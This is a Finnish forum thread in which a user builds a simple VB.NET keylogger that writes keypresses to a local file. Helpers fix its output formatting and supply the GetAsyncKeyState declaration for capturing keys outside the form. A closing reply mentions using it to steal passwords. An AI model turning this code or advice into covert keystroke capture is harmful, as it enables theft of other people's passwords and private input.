Keskustelu: Ohjelmointikysymykset: VB.NET: Keyloggeri [vb.net]

Eli oon tehny tälläsen keyloggerin

Public Class Form1
    Dim sana As String 'Esitellää tarvittavat muuttujat
    Dim i As Integer
    Dim lTiedosto As String = "C:\Documents and Settings\Elias\Omat tiedostot\Visual Studio 2005\Projects\näppäinharjoitus\näppäinharjoitus\loki.txt" 'Tähä tiedostoo ne menee

    Function savettaa(ByVal kirjain As Integer)
        sana &= Chr(kirjain) 'lisää merkin edellisten joukkoon
        FileOpen(1, lTiedosto, OpenMode.Append) 'avataan tiedosto
        PrintLine(1, sana) 'pistää tiedostoon sen kirjaimen
        FileClose(1) ' suljetaan
        sana = "" 'tyhjennetään sana
        kirjain = Nothing ' ja kirjain
        Return 0
    End Function

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        savettaa(32) ' jos lopetetaan yhtäkkii
    End Sub

    Private Sub Form1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles Me.KeyDown
        For i = 65 To Keys.Z 'kokeillaan onko painettu jotai a-z
            If e.KeyCode = i Then 'jos on..
                savettaa(i) 'tallennetaan
            End If

        Next
    End Sub

End Class

Mun pitäis saada se semmoi et se kirjottais ne kirjaimet samal rivil ku nyt se kirjottaa ne näin:
j
o
t
a
i
t
e
k
s
t
i
i
Eli miten ratkaista?

No tuossahan tulostat joka näppäimen kohdalla omalle rivilleen nuo.
Annan nyt valmista koodia kun en kunnolla osaa selittää :/

Function savettaa(ByVal kirjain As Integer)
    sana &= Chr(kirjain) 'lisää merkin edellisten joukkoon
    If Len(sana) > 10 Then
            FileOpen(1, lTiedosto, OpenMode.Append) 'avataan tiedosto
            PrintLine(1, sana) 'pistää tiedostoon sen kirjaimen
            FileClose(1) ' suljetaan
            sana = ""
    End If
    kirjain = Nothing ' ja kirjain
    Return 0
End Function

Auttaisiko käyttää jotakin muuta funktiota kuin PrintLine? Esimerkiksi Print tai Write.

Toi Meitsi koodi toimi, kiitti

Kyl kai tätä voi nostaaa ylöspäin...
No nyt se tunnistaa vaan näppäimet jos painaa sillonku formilla on focus, mut pitäis saada se pelkkää moduulii ja yritän käyttää nyt GetAsyncKeyStatee siin tuleee tollane virhe
http://koti.mbnet.fi/elkku/errori.JPG

Eiks täst kukaa tiä mitää vai eiks kukaa vaa välitä? mul ei toimi mikää noist WinApi funktioist aina tulee sama virhe :(

Ei hitto, pitäiskö tehä uus aihe ku ei kukaa kato enää vanhoi aiheit!!! sori mun kärsivällisyyttä.. En pysty mitää tekee ku apit ei toimi!

Uuden aiheen tekeminen samasta aiheesta yleensä leimaa kirjoittajan kärsimättömäksi typerykseksi. Jos vastausta ei näytä tulevan, se tarkoittaa yleensä sitä, ettei kukaan osaa auttaa.

Eli kukaan ei tiedä.. :( no tietääkö kukaan mitää muuta foorumii mis vois kysyy? ja anteeks vaa mun käyttäytyminen

Kokeileppa muuttaa tuo funktion esittely muotoon:

Declare Function GetAsyncKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short

Wouuuuuu tänks ver mats nyt toimii! kiitti olen sulle ikuisen kiitollisuuden velkaa.. :D

?
nyt ei toimi.
koodaan siis visual studio .NET:illä. Osaisiko joku auttaa?
http://www.tpu.fi/~d5mlaaks/Virhe1.JPG
http://www.tpu.fi/~d5mlaaks/Virhe2.JPG

otin tuon äkkisulkemistallennuksen pois koska siinäkin se herjasi.
http://www.tpu.fi/~d5mlaaks/Virhe3.JPG

Luulen et sun pitää poistaa noi Public Class Form1 ja End Class ja Me:n tilalle Form1. Ton Me:n kyl pitäis toimii mut kokeile tollee

tost oo mitää hyötyy jos meinasit kössii jonkun passut ku sitä varten tarvii framework 2:sen